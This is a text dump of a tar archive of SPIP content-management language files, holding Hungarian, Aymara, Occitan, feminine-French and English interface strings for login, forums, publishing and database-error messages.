'navigateur_pas_redirige' => 'Ha a böngészó nincsen átirányítva, akkor ide kattintson.',
'numero' => 'Szám',
// O
'occurence' => 'Előfordulás',
'onglet_affacer_base' => 'Adatbázis törlése',
'onglet_auteur' => 'A szerző',
'onglet_contenu_site' => 'A honlap tartalma',
'onglet_evolution_visite_mod' => 'Kialakulás',
'onglet_fonctions_avances' => 'Bővített funkciók',
'onglet_informations_personnelles' => 'Személyes adatok',
'onglet_interactivite' => 'Interaktivitás',
'onglet_messagerie' => 'Levelezés',
'onglet_repartition_rubrique' => 'Rovat szerinti bontás',
'onglet_save_restaur_base' => 'Adatbázis mentése/resztaurálása',
'onglet_vider_cache' => 'Cache ürítése',
// P
'pass_choix_pass' => 'Legyen szíves választani az új jelszavát :',
'pass_erreur' => 'Hiba',
'pass_erreur_acces_refuse' => '<b>Hiba :</b> már nincs hozzáférése arra a honlapra.',
'pass_erreur_code_inconnu' => '<b>Hiba :</b> ez a kód a honlap egyik engedélyezett felhasználójanak sem felel meg.',
'pass_erreur_non_enregistre' => '<b>Hiba :</b> a cím <tt>@email_oubli@</tt> nincs felvéve ezen a honlapon.',
'pass_erreur_non_valide' => '<b>Hiba :</b> ez az email <tt>@email_oubli@</tt> érvénytelen !',
'pass_erreur_probleme_technique' => '<b>Hiba :</b> műszaki okból, az email nem küldhető el.',
'pass_espace_prive_bla' => 'A privát rész nyított a
látógatók részére, miután beíratkoztak. Ha be van iratkozva,
akkor megtekintheti a szerkesztés alatti cikkeket,
javasolhat cikkeket és részt vehet a fórumokban.',
'pass_forum_bla' => 'Hozzászólást kért olyan fórumon, ami a beiratkozott látógatóknak van fenntartva.',
'pass_indiquez_cidessous' => 'Lejjebb jelezze az email címet, amivel beíratkozott az imént. Olyan
emailt fog kapni, ami mutatja az eljárást az Ön hozzáférésének visszaszerzésére.',
'pass_mail_passcookie' => '(Ez egy automatikus üzenet)
A @nom_site_spip@ (@adresse_site@)
honlaphozzáférés visszaszerzésére
Menjen a következő címre :
@sendcookie@
Akkor újabb jelszót tud beírni
és újra csatlakozhat a honlapra.
',
'pass_mot_oublie' => 'Elfelejtett jelszó',
'pass_nouveau_enregistre' => 'Az új jelszava fel lett véve.',
'pass_nouveau_pass' => 'Új jelszó',
'pass_ok' => 'Rendben',
'pass_oubli_mot' => 'Jelszó elvesztése',
'pass_quitter_fenetre' => 'Kilépni az ablakból',
'pass_rappel_login' => 'Emlékeztető : az Ön azonosítója (login) « @login@ ».',
'pass_recevoir_mail' => 'Hamarosan olyan emailt fog kapni, ami mutatja hogyan lehet visszaszerezni a hozzáférést a honlapra.',
'pass_retour_public' => 'Vissza a nyilvános honlapra',
'pass_rien_a_faire_ici' => 'Nincs keresnivalója itt.',
'pass_vousinscrire' => 'Beíratkozás ezen a honlapon',
'precedent' => 'elöző',
'previsualisation' => 'Előnézet',
'previsualiser' => 'Előnézet',
// R
'retour' => 'Vissza',
// S
'spip_conforme_dtd' => 'A SPIP szerint ez az oldal teljesíti a DOCTYPE követelményeit:',
'squelette' => 'vázlat',
'squelette_inclus_ligne' => 'vázlatot beleértve, sor',
'squelette_ligne' => 'vázlat, sor',
'stats_visites_et_popularite' => '@visites@ látogatás ; népszerűség : @popularite@',
'suivant' => 'következő',
// T
'taille_ko' => '@taille@ ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ byte',
'texte_actualite_site_1' => 'Ha barátkozik a felülettel akkor kattintson arra «',
'texte_actualite_site_2' => 'teljes felület',
'texte_actualite_site_3' => '» több lehetőség megnyítására.',
'texte_creation_automatique_vignette' => 'A bélyegképek automatikus létrehozása aktiválva van a honlapon. Ha erről az űrlapról telepít @gd_formats@ formátumú képeket, akkor majd bélyegkép kiséri, melynek maximális mérete @taille_preview@ pixel.',
'texte_documents_associes' => 'A következő dokumentumok tartoznak a cikk,
de nem lettek közvetlenül
beszúrva. A nyilvános rész oldalbeállítása szerint,
csatolt dokumentumok formában jelenhetnek meg.',
'texte_erreur_mise_niveau_base' => 'Adatbázis hiba verziófrissítéskor.
A <b>@fichier@</b> kép nem ment át (@id_article@ cikk).
Jegyezze meg ezt a nevet, próblája újra a frissítést, és végül ellenőrizze, hogy a képek mindig jelennek meg a cikkekben.', # MODIF
'texte_erreur_visiteur' => 'Olyan azonosítóval próbált hozzáférni a privát zónához, aminek ehhez nincs jogosultsága.',
'texte_inc_auth_1' => 'Ön a <b>@auth_login@</b> loginnal
van azonosítva, nem ez létezik/létezett az adatbázisban.
Próbáljon', # MODIF
'texte_inc_auth_2' => 'újra csatlakozni',
'texte_inc_auth_3' => ', miután esetleg bezárta és
újraindította a böngészőjét.',
'texte_inc_config' => 'Az ezeken az oldalokon végzett módosítások jelentősen befolyásolják a
honlap működését. Javasoljuk, hogy ne avatkozzon bele, amig Ön nem járátos
az SPIP működésében. <br /><br /><b>Általában nagyon tanácsos bízni ezeket az oldalakat
a honlap fő webmesterére.</b>', # MODIF
'texte_inc_meta_1' => 'A rendszer hibát észlelt a <code>@fichier@</code> fájl írásákor. Mint honlap adminisztrátor, legyen szíves',
'texte_inc_meta_2' => 'ellenőrizni a irási jogokat',
'texte_inc_meta_3' => 'a <code>@repertoire@</code> nevű mappán.',
'texte_statut_en_cours_redaction' => 'szerkesztés alatt',
'texte_statut_poubelle' => 'szemetesbe',
'texte_statut_propose_evaluation' => 'felmérésre javasolt',
'texte_statut_publie' => 'publikált',
'texte_statut_refuse' => 'elutasított',
'titre_ajouter_mot_cle' => 'KULCSSZÓ HOZZÁADÁS :',
'titre_cadre_raccourcis' => 'GYORS HIVATKOZÁSOK :',
'titre_changer_couleur_interface' => 'Felület színe változtatása',
'titre_image_admin_article' => 'Ezt a cikket Ön adminisztrálhatja',
'titre_image_administrateur' => 'Adminisztrátor',
'titre_image_aide' => 'Súgó erről a részről',
'titre_image_auteur_supprime' => 'Szerző törölve',
'titre_image_redacteur' => 'Hozzáférés nélküli szerző',
'titre_image_redacteur_02' => 'Szerző',
'titre_image_visiteur' => 'Vendég',
'titre_joindre_document' => 'DOKUMENTUM CSATOLÁSA',
'titre_mots_cles' => 'KULCSSZAVAK',
'titre_probleme_technique' => 'Vigyázat : műszaki hiba (SQL szerver) miatt nincs hozzáférés erre a részre. Megértését köszönjük.', # MODIF
'titre_publier_document' => 'DOKUMENTUM PUBLIKÁLÁSA ABBAN A ROVATBAN',
'titre_signatures_attente' => 'Érvényesítésre várakozó aláírások',
'titre_signatures_confirmees' => 'Érvényesített aláírások',
'titre_statistiques' => 'A honlap statisztikai',
'titre_titre_document' => 'Dokumentum címe :',
'trad_reference' => '(eredeti cikk)', # MODIF
// Z
'zbug_balise_b_aval' => ' : B jelző után',
'zbug_balise_inexistante' => 'hiba @from@: a(z) #@balise@ tag nem létezik', # MODIF
'zbug_balise_sans_argument' => 'Hiányzó argumentum a(z) @balise@ tagban',
'zbug_boucle' => 'folyamat',
'zbug_boucle_recursive_undef' => 'határozatlan rekurzív folyamat', # MODIF
'zbug_calcul' => 'számolás',
'zbug_champ_hors_boucle' => 'A @champ@ mező a folyamaton kívül van',
'zbug_champ_hors_motif' => 'A @champ@ mező egy @motif@ jellegű folyamaton kívül van', # MODIF
'zbug_code' => 'kód',
'zbug_critere_inconnu' => 'ismeretlen kritérium @critere@', # MODIF
'zbug_distant_interdit' => 'külső tilos', # MODIF
'zbug_doublon_table_sans_cle_primaire' => 'duplumokat használt egy táblán, amin nincs egyszerű elsődleges kulcs', # MODIF
'zbug_doublon_table_sans_index' => 'index nélküli duplumok egy táblában', # MODIF
'zbug_erreur_boucle_double' => 'BOUCLE@id@: dupla definició', # MODIF
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@: záró tag hiányzik', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Folyamat szintáxisa nem korrekt', # MODIF
'zbug_erreur_compilation' => 'Összeállítási hiba',
'zbug_erreur_execution_page' => 'futtatási hiba az oldalnál', # MODIF
'zbug_erreur_filtre' => 'Hiba : szűrő <b>« @filtre@ »</b> nincs meghatározva', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} csak a (FORUMS) vagy (RUBRIQUES) folyamatoknál alkalmazható', # MODIF
'zbug_erreur_squelette' => 'Hiba a vázban',
'zbug_hors_compilation' => 'Nincs összeállítva',
'zbug_info_erreur_squelette' => 'Hiba a honlapon',
'zbug_inversion_ordre_inexistant' => 'nem létező sorrend megfordítása', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION tag {pagination} kritérium nélkül, vagy rekurzív ismétlésben használta', # MODIF
'zbug_parametres_inclus_incorrects' => 'Hibás inkluziós parameterek', # MODIF
'zbug_profile' => 'Számolás hossza: @time@',
'zbug_resultat' => 'eredmény',
'zbug_serveur_indefini' => 'határozatlan SQL szerver', # MODIF
'zbug_statistiques' => 'SQL kérések statisztikája hossz szerint',
'zbug_table_inconnue' => 'A « @table@ » nevű SQL tábla ismeretlen',
'zxml_connus_attributs' => 'ismert tulajdonságok',
'zxml_de' => 'Innen:',
'zxml_inconnu_attribut' => 'ismeretlen tulajdonság',
'zxml_inconnu_balise' => 'ismeretlen tag',
'zxml_inconnu_entite' => 'ismeretlen bejegyzés',
'zxml_inconnu_id' => 'ismeretlen ID',
'zxml_mais_de' => 'de innen:',
'zxml_non_conforme' => 'nem érvényes az alapelvre',
'zxml_non_fils' => 'nem a gyermeke neki:',
'zxml_nonvide_balise' => 'a tag nem üres',
'zxml_obligatoire_attribut' => 'szükséges tulajdonság hiányzik ebben:',
'zxml_succession_fils_incorrecte' => 'hibás öröklés',
'zxml_survoler' => 'a helyesek megjelenítéséhez mozgassa föléjük az egeret',
'zxml_valeur_attribut' => 'tulajdonság értéke',
'zxml_vide_balise' => 'üres tag',
'zxml_vu' => 'látva ezelőtt:'
);
?>
public_ay.php 0000666 00000007303 15252547432 0007244 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=ay
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Uñnaq qamawita', # MODIF
'articles' => 'Qillqatanaka',
'articles_auteur' => 'Qillqirin aka qillqatanakapa',
'articles_populaires' => 'Uñt’at qillqatanaka',
'articles_rubrique' => 'Aka t’aqat qillqatanaka',
'aucun_article' => 'Aka utxawinx, ni kuna qillqatas utjkiti',
'aucun_auteur' => 'Aka utxawinx janiw qillqirix utjkiti',
'aucun_site' => 'Aka utxawinx ni kuna qamawins utjkiti',
'aucune_breve' => 'Aka utxawinx ni kuna jisk’aptatas utjkiti',
'aucune_rubrique' => 'Aka utxawinx ni kuna t’aqas utjkiti',
'autres_breves' => 'Yaqha jisk’aptatanaka',
'autres_groupes_mots_clefs' => 'Imt’aw arunakata yaqha tamanaka',
'autres_sites' => 'Yaqha qamawinaka',
// B
'bonjour' => 'Kamisaki',
// C
'commenter_site' => 'Aka qamawxat aruskipt’aña',
// D
'date' => 'Uru',
'dernier_ajout' => 'Qhipha jichhapxtawi',
'dernieres_breves' => 'Qhipa jisk’aptatanaka',
'derniers_articles' => 'Qhiphankir qillqatanaka',
'derniers_commentaires' => 'Qhipha aruskipt’awinaka',
'derniers_messages_forum' => 'Qhipha yatiyawinak aruskipawinakan yatiyata',
// E
'edition_mode_texte' => 'Sawutjama lurawi',
'en_reponse' => 'Ukar jaysayaña',
'en_resume' => 'Jisk’aptasina',
'envoyer_message' => 'Ma yatiyaw apayaña',
'espace_prive' => 'Ch’usawx jark’ata',
// H
'hierarchie_site' => 'Qamawita kamachiñawi',
// J
'jours' => 'Urunaka',
// M
'meme_auteur' => 'Pachpa qillqirita',
'meme_rubrique' => 'Pachpa t’aqana',
'memes_auteurs' => 'Pachpa qillqirinakata',
'message' => 'Yatiyawi',
'messages_forum' => 'Aruskipawit yatiyawinaka', # MODIF
'messages_recents' => 'Amuyt’awit jichhak amuyt’awinaka',
'mots_clefs' => 'Imt’at arunaka',
'mots_clefs_meme_groupe' => 'Pachpa taman imt’at arunaka',
// N
'navigation' => 'Tuyuriwi',
'nom' => 'Suti',
'nouveautes' => 'Machaq yatiyawinaka',
'nouveautes_web' => 'Web ukan machaq yatiyawinaka',
'nouveaux_articles' => 'Machaq qillqatanaka',
'nouvelles_breves' => 'Machaq jisk’aptatanaka',
// P
'page_precedente' => 'Nayrir laphi uñnaqa',
'page_suivante' => 'Jutir laphi uñnaqa',
'par_auteur' => 'Lurata',
'participer_site' => 'Kunanaks lurasmaw aka jakawi qamawin ukhamarak qillqatanak lurasma akjaru qillqasisina.Ukat mäkiw mä correo electrónico qatuqata mantaw imt’atanakamampi',
'plan_site' => 'Qamawt irpiri',
'popularite' => 'Juk’amp uñjata',
'poster_message' => 'Ma yatiyawi qillqaña',
'proposer_site' => 'Aka t’aqan uskuñatakix ma qamaw amuyt’am:',
// R
'repondre_article' => 'Aka qillqat amuykipaña',
'repondre_breve' => 'Aka jisk’aptata amuykipaña',
'resultats_recherche' => 'Thaqhata uñstayi',
'retour_debut_forums' => 'Aruskipawi qalltar kutiña',
'rubrique' => 'T’aqa',
'rubriques' => 'T’aqanaka',
// S
'signatures_petition' => 'Firmas',
'site_realise_avec_spip' => 'Qamaw SPIP ukamp lurata',
'sites_web' => 'web qamawinaka',
'sous_rubriques' => 'Jutir t’aqa',
'suite' => 'Sarantaskakiña',
'sur_web' => 'Web ukata',
'syndiquer_rubrique' => 'Aka t’aqa apxasiña',
'syndiquer_site' => 't’aqat qamaw apxasiña',
// T
'texte_lettre_information' => 'Akax jisk’a qillqat yatiyawin qamawipawa',
'texte_lettre_information_2' => 'Aka jisk’a qillqatxa qillqatanak ukhamaraki jisk’aptat yatiyatanak jisk’ayi', # MODIF
// V
'ver_imprimer' => 'Uñjat liq’suñataki',
'voir_en_ligne' => 'Naktata uñjaña',
'voir_squelette' => 'Aka laphi uñnaqan ch’aka ch’aka uñjaña'
);
?>
public_oc_va.php 0000666 00000007023 15252547432 0007721 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=oc_va
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Acuelh dau sit', # MODIF
'articles' => 'Articles',
'articles_auteur' => 'Articles d’aquel autor',
'articles_populaires' => 'Los articles mai populars',
'articles_rubrique' => 'Articles d’aquela rubrica',
'aucun_article' => 'I a ges d’article a aquela adreiça ',
'aucun_auteur' => 'I a ges d’autor a aquela adreiça ',
'aucun_site' => 'I a ges de sit a aquela adreiça ',
'aucune_breve' => 'I a ges de brèva a aquela adreiça ',
'aucune_rubrique' => 'I a ges de rubrica a aquela adreiça ',
'autres_breves' => 'Autras brèvas',
'autres_groupes_mots_clefs' => 'Autres grops de mots clau',
'autres_sites' => 'Autres sits',
// B
'bonjour' => 'Bonjorn',
// C
'commenter_site' => 'Comentar aqueu sit',
// D
'date' => 'Data',
'dernier_ajout' => 'Darrier apondon',
'dernieres_breves' => 'Darrieras brèvas',
'derniers_articles' => 'Darriers articles',
'derniers_commentaires' => 'Darriers comentaris',
'derniers_messages_forum' => 'Darriers messatges publicats dins los forums',
// E
'edition_mode_texte' => 'Edicion en mòde tèxt de',
'en_reponse' => 'En respònsa a:',
'en_resume' => 'En resumit',
'envoyer_message' => 'Mandar un messatge',
'espace_prive' => 'Espaci privat',
// H
'hierarchie_site' => 'Ierarquia dau sit',
// J
'jours' => 'jorns',
// M
'meme_auteur' => 'Dau mesme autor',
'meme_rubrique' => 'Dins la mesma rubrica',
'memes_auteurs' => 'Dels mesmes autors',
'message' => 'Messatge',
'messages_forum' => 'Messatges de forum', # MODIF
'messages_recents' => 'Los messatges de forums mai recents',
'mots_clefs' => 'Mots clau',
'mots_clefs_meme_groupe' => 'Mots clau dins lo mesme grop',
// N
'navigation' => 'Navigacion',
'nom' => 'Nom',
'nouveautes' => 'Las novetats',
'nouveautes_web' => 'Novetats sobre lo web',
'nouveaux_articles' => 'Articles nòus',
'nouvelles_breves' => 'Brèvas nòvas',
// P
'page_precedente' => 'pagina precedenta',
'page_suivante' => 'pagina seguenta',
'par_auteur' => 'per ',
'participer_site' => 'Poètz participar a la vita d’aqueu sit e prepausar los articles vòstres en vos inscrivent çai sos. Recebretz sus lo còp un e-mail que vos indicarà vòstres còdes per accedir a l’espaci privat dau sit.',
'plan_site' => 'Plan dau sit',
'popularite' => 'Popularitat',
'poster_message' => 'Postar un messatge',
'proposer_site' => 'Poètz prepausar un sit d’apondre a aquesta rubrica:',
// R
'repondre_article' => 'Respòndre a aquel article',
'repondre_breve' => 'Respòndre a aquela brèva',
'resultats_recherche' => 'Resultats de la recèrcha',
'retour_debut_forums' => 'Retorn au començament dels forums',
'rubrique' => 'Rubrica',
'rubriques' => 'Rubricas',
// S
'signatures_petition' => 'Signaturas',
'site_realise_avec_spip' => 'Sit realizat amb SPIP',
'sites_web' => 'Sits web',
'sous_rubriques' => 'Sosrubricas',
'suite' => 'segua',
'sur_web' => 'Sobre lo web',
'syndiquer_rubrique' => 'Sindicar aquela rubrica',
'syndiquer_site' => 'Sindicar tot lo sit',
// T
'texte_lettre_information' => 'Vaicí la letra d’informacion dau sit',
'texte_lettre_information_2' => 'Aquela letra recensa los articles e brèvas publicats despuei', # MODIF
// V
'ver_imprimer' => 'Version d’estampar',
'voir_en_ligne' => 'Veètz en linha'
);
?>
public_fr_fem.php 0000666 00000007633 15252547432 0010077 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Accueil',
'article' => 'Article',
'articles' => 'Articles',
'articles_auteur' => 'Articles de cette auteure',
'articles_populaires' => 'Articles les plus populaires',
'articles_rubrique' => 'Articles de cette rubrique',
'aucun_article' => 'Il n’y a pas d’article à cette adresse',
'aucun_auteur' => 'Il n’y a pas d’auteure à cette adresse',
'aucun_site' => 'Il n’y a pas de site à cette adresse',
'aucune_breve' => 'Il n’y a pas de brève à cette adresse',
'aucune_rubrique' => 'Il n’y a pas de rubrique à cette adresse',
'auteur' => 'Auteure',
'autres' => 'Autres',
'autres_breves' => 'Autres brèves',
'autres_groupes_mots_clefs' => 'Autres groupes de mots-clés',
'autres_sites' => 'Autres sites',
// B
'bonjour' => 'Bonjour',
// C
'commenter_site' => 'Commenter ce site',
'contact' => 'Contact',
'copie_document_impossible' => 'Impossible de copier le document',
// D
'date' => 'Date',
'dernier_ajout' => 'Dernier ajout',
'dernieres_breves' => 'Dernières brèves',
'derniers_articles' => 'Derniers articles',
'derniers_commentaires' => 'Derniers commentaires',
'derniers_messages_forum' => 'Derniers messages publiés dans les forums',
// E
'edition_mode_texte' => 'Édition en mode texte de',
'en_reponse' => 'En réponse à :',
'en_resume' => 'En résumé',
'envoyer_message' => 'Envoyer un message',
'espace_prive' => 'Espace privé',
// F
'formats_acceptes' => 'Formats acceptés : @formats@.',
// H
'hierarchie_site' => 'Hiérarchie du site',
// J
'jours' => 'jours',
// L
'lien_connecter' => 'Se connecter',
// M
'meme_auteur' => 'De la même auteure',
'meme_rubrique' => 'Dans la même rubrique',
'memes_auteurs' => 'Des mêmes auteures',
'message' => 'Message',
'messages_forum' => 'Messages',
'messages_recents' => 'Messages de forums les plus récents',
'mots_clef' => 'Mot-clé',
'mots_clefs' => 'Mots-clés',
'mots_clefs_meme_groupe' => 'Mots-clés dans le même groupe',
// N
'navigation' => 'Navigation',
'nom' => 'Nom',
'nouveautes' => 'Les nouveautés',
'nouveautes_web' => 'Nouveautés sur le Web',
'nouveaux_articles' => 'Nouveaux articles',
'nouvelles_breves' => 'Nouvelles brèves',
// P
'page_precedente' => 'page précédente',
'page_suivante' => 'page suivante',
'par_auteur' => 'par ',
'participer_site' => 'Vous pouvez participer à la vie de ce site et proposer vos propres articles en vous inscrivant ci-dessous. Vous recevrez immédiatement un email vous indiquant vos codes d’accès à l’espace privé du site.',
'plan_site' => 'Plan du site',
'popularite' => 'Popularité',
'poster_message' => 'Poster un message',
'proposer_site' => 'Vous pouvez proposer un site à ajouter dans cette rubrique :',
// R
'repondre_article' => 'Répondre à cet article',
'repondre_breve' => 'Répondre à cette brève',
'resultats_recherche' => 'Résultats de la recherche',
'retour_debut_forums' => 'Retour au début des forums',
'rubrique' => 'Rubrique',
'rubriques' => 'Rubriques',
// S
'signatures_petition' => 'Signatures',
'site_realise_avec_spip' => 'Site réalisé avec SPIP',
'sites_web' => 'Sites Web',
'sous_rubriques' => 'Sous-rubriques',
'spam' => 'Spam',
'suite' => 'suite',
'sur_web' => 'Sur le Web',
'syndiquer_rubrique' => 'Syndiquer cette rubrique',
'syndiquer_site' => 'Syndiquer tout le site',
// T
'texte_lettre_information' => 'Voici la lettre d’information du site',
'texte_lettre_information_2' => 'Cette lettre recense les nouveautés publiées depuis',
// V
'ver_imprimer' => 'Version à imprimer',
'voir_en_ligne' => 'Voir en ligne',
'voir_squelette' => 'voir le squelette de cette page'
);
?>
ecrire_en.php 0000666 00000207311 15252547432 0007231 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Activate plugin',
'affichage' => 'Display',
'aide_non_disponible' => 'This part of the online help is not yet available in this language.',
'annuler_recherche' => 'Cancel the search',
'auteur' => 'Author:',
'avis_acces_interdit' => 'Access forbidden.',
'avis_article_modifie' => 'Warning: @nom_auteur_modif@ modified this article @date_diff@ minutes ago',
'avis_aucun_resultat' => 'No results found.',
'avis_base_inaccessible' => 'Impossible to connect to the database @base@.',
'avis_chemin_invalide_1' => 'The path you selected',
'avis_chemin_invalide_2' => 'does not seem to be valid. Please return to the previous page and verify the information provided.',
'avis_connexion_echec_1' => 'Connection to the SQL server failed.',
'avis_connexion_echec_2' => 'Go back to the previous page, and verify the information you provided.',
'avis_connexion_echec_3' => '<b>N.B.</b> On many servers, you must <b>request</b> activation of your access to the SQL database before you can use it. If you cannot connect to your database, check that activation has been done.',
'avis_connexion_erreur_nom_base' => 'The database name should contain letters, digits and hyphens only.',
'avis_connexion_ldap_echec_1' => 'Connection to the LDAP server failed.',
'avis_connexion_ldap_echec_2' => 'Go back to the previous page, and verify the information you provided.',
'avis_connexion_ldap_echec_3' => 'Alternatively, do not use LDAP support to import users.',
'avis_deplacement_rubrique' => 'Warning! This section contains @contient_breves@ news item@scb@: if you move it, please check this box to confirm.',
'avis_destinataire_obligatoire' => 'To send a message, you must select a recipient.',
'avis_erreur_connexion_mysql' => 'SQL connection error',
'avis_erreur_version_archive' => '<b>Warning! The file @archive@ was created by a version of SPIP other than the one you have installed.</b>
You are likely to encounter serious problems, including destroying your database, or serious site malfunctions.
Do not submit this import request.<p>For more information, please see <a href="@spipnet@">the SPIP documentation</a>.</p>',
'avis_espace_interdit' => '<b>Forbidden area</b><div>SPIP is already installed.</div>',
'avis_lecture_noms_bases_1' => 'The installer could not read the names of any databases already installed.',
'avis_lecture_noms_bases_2' => 'Either no database is available, or the option for listing databases was disabled for security reasons (which is the case with a lot of hosting services).',
'avis_lecture_noms_bases_3' => 'In the second case, it is possible that a database named after your login would be usable:',
'avis_non_acces_message' => 'You do not have access to this message.',
'avis_non_acces_page' => 'You do not have access to this page.',
'avis_operation_echec' => 'The operation failed.',
'avis_operation_impossible' => 'Operation impossible',
'avis_probleme_archive' => 'Read error in file @archive@',
'avis_suppression_base' => 'WARNING: data deletion is irreversible',
'avis_version_mysql' => 'Your version of SQL (@version_mysql@) does not allow autorepair of the database tables.',
// B
'bouton_acces_ldap' => 'Add LDAP access',
'bouton_ajouter' => 'Add',
'bouton_ajouter_participant' => 'ADD A PARTICIPANT:',
'bouton_annonce' => 'ANNOUNCEMENT',
'bouton_annuler' => 'Cancel',
'bouton_cache_activer' => 'Re-activate the cache',
'bouton_cache_desactiver' => 'Disable the cache momentarily',
'bouton_checkbox_envoi_message' => 'possibility of sending a message',
'bouton_checkbox_indiquer_site' => 'You must enter the name of a Website',
'bouton_checkbox_signature_unique_email' => 'only one signature per email address',
'bouton_checkbox_signature_unique_site' => 'only one signature per website',
'bouton_demande_publication' => 'Request publication of this article',
'bouton_desactive_tout' => 'Disable all',
'bouton_desinstaller' => 'Uninstall',
'bouton_effacer_index' => 'Delete indexing',
'bouton_effacer_tout' => 'Delete ALL',
'bouton_envoi_message_02' => 'SEND A MESSAGE',
'bouton_envoyer_message' => 'Message complete: send',
'bouton_fermer' => 'Close',
'bouton_mettre_a_jour_base' => 'Update the database',
'bouton_modifier' => 'Modify',
'bouton_pense_bete' => 'PERSONAL MEMO',
'bouton_radio_activer_messagerie' => 'Enable internal messaging',
'bouton_radio_activer_messagerie_interne' => 'Enable internal messaging',
'bouton_radio_activer_petition' => 'Activate the petition',
'bouton_radio_afficher' => 'Show',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Appear in the list of editors online',
'bouton_radio_desactiver_messagerie' => 'Disable messaging',
'bouton_radio_envoi_annonces_adresse' => 'Send announcements to:',
'bouton_radio_envoi_liste_nouveautes' => 'Send news update list',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Do not appear in the list of editors online',
'bouton_radio_non_envoi_annonces_editoriales' => 'Do not send any editorial announcements',
'bouton_radio_pas_petition' => 'No petition',
'bouton_radio_petition_activee' => 'Petition activated',
'bouton_radio_supprimer_petition' => 'Delete the petition',
'bouton_redirection' => 'REDIRECT',
'bouton_relancer_installation' => 'Recommence installation',
'bouton_suivant' => 'Next',
'bouton_tenter_recuperation' => 'Attempt to repair',
'bouton_test_proxy' => 'Test the proxy',
'bouton_vider_cache' => 'Empty the cache',
'bouton_voir_message' => 'Preview message before validating',
// C
'cache_mode_compresse' => 'The cache files are saved in compressed mode.',
'cache_mode_non_compresse' => 'The cache files are written in uncompressed mode.',
'cache_modifiable_webmestre' => 'This parameter can be modified by the webmaster.',
'calendrier_synchro' => 'If you use a calendar application compatible with <b>iCal</b>, you can synchronise it with information from this site.',
'config_activer_champs' => 'Activate the following fields',
'config_choix_base_sup' => 'Choose a database on this server',
'config_erreur_base_sup' => 'SPIP does not have access to the list of databases available',
'config_info_base_sup' => 'If you need to query other databases using SPIP, whether on this SQL server or elsewhere, use this form to declare them. If you leave any fields empty, connection details to the main database will be used.',
'config_info_base_sup_disponibles' => 'Additional databases to which queries may be sent:',
'config_info_enregistree' => 'The new configuration has been saved',
'config_info_logos' => 'Each element of the site can have its own logo as well as a "mouseover" logo',
'config_info_logos_utiliser' => 'Use logos',
'config_info_logos_utiliser_non' => 'Do not use logos',
'config_info_logos_utiliser_survol' => 'Use "mouseover" logos',
'config_info_logos_utiliser_survol_non' => 'Do not use "mouseover" logos',
'config_info_redirection' => 'By activating this option you can create virtual articles, which are simply links to articles published on other sites, not necessarily using SPIP.',
'config_redirection' => 'Virtual articles',
'config_titre_base_sup' => 'Declaration of an additional database',
'config_titre_base_sup_choix' => 'Choose an additional database',
'connexion_ldap' => 'Connection:',
'copier_en_local' => 'Copy to local site',
'creer_et_associer_un_auteur' => 'Create and associate an author',
'creer_et_associer_une_rubrique' => 'Create and link a section',
// D
'date_mot_heures' => 'H',
// E
'ecran_securite' => '+ safety screen @version@',
'email' => 'email',
'email_2' => 'email:',
'en_savoir_plus' => 'To learn more',
'entree_adresse_annuaire' => 'Directory address',
'entree_adresse_email' => 'Your email address',
'entree_adresse_email_2' => 'E-mail address',
'entree_base_donnee_1' => 'Database address',
'entree_base_donnee_2' => '(This address is often your site’s URL, although sometimes it will be "localhost", and sometimes it should be left blank.)',
'entree_biographie' => 'Brief biography',
'entree_chemin_acces' => '<b>Enter</b> the path:',
'entree_cle_pgp' => 'Your PGP key',
'entree_cle_pgp_2' => 'PGP key',
'entree_contenu_rubrique' => '(Brief description of the content of this section.)',
'entree_identifiants_connexion' => 'Your connection identifiers...',
'entree_identifiants_connexion_2' => 'Connection identifiers',
'entree_informations_connexion_ldap' => 'Please fill this form with the LDAP connection information provided by your system or network administrator.',
'entree_infos_perso' => 'Who are you?',
'entree_infos_perso_2' => 'Who is the author?',
'entree_interieur_rubrique' => 'In the section:',
'entree_liens_sites' => '<b>Hyperlink</b> (reference, site to visit etc.)',
'entree_login' => 'Your login',
'entree_login_connexion_1' => 'Connection login',
'entree_login_connexion_2' => '(Sometimes matches your FTP account login and sometimes left empty)',
'entree_login_ldap' => 'Initial LDAP login',
'entree_mot_passe' => 'Your password',
'entree_mot_passe_1' => 'Password',
'entree_mot_passe_2' => '(Sometimes matches your FTP access password and sometimes left empty)',
'entree_nom_fichier' => 'Please enter the filename @texte_compresse@:',
'entree_nom_pseudo' => 'Your name or alias',
'entree_nom_pseudo_1' => '(Your name or alias)',
'entree_nom_pseudo_2' => 'Name or alias',
'entree_nom_site' => 'Name of your site',
'entree_nom_site_2' => 'Name of the author’s site',
'entree_nouveau_passe' => 'New password',
'entree_passe_ldap' => 'Password',
'entree_port_annuaire' => 'Port number of the directory',
'entree_signature' => 'Signature',
'entree_titre_obligatoire' => '<b>Title</b> [Required]<br />',
'entree_url' => 'URL of your site',
'entree_url_2' => 'Site URL',
'erreur_connect_deja_existant' => 'There is already a server with that name ',
